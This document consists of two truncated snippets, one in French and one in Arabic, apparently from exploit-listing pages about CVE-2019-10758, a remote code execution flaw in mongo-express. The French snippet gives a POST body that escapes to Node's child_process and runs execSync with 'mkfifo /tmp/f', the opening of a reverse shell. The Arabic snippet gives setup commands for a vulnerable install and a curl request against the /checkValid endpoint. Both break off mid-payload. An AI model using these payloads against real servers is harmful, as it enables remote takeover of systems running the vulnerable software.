CVE-2019-10758

CVE-2019-10758 mongo-express exécution de code à distance, voici le code du shell inversé : CORPS DE LA REQUÊTE POST 1 : document=this.constructor.constructor"return process".mainModule.require"childprocess".execSync"mkfifo /tmp/f" CORPS DE LA REQUÊTE POST 2 :...

CVE-2019-10758

CVE-2019-10758 إثبات المفهوم الإعداد root@kitploit: docker run -p 27017:27017 -d mongo npm install [email protected] cd nodemodules/mongo-express/ && node app.js استغلال cURL root@kitploit: curl 'http://localhost:8081/checkValid' -H 'Authorization: Basic YWRtaW46cGFzcw==' --data...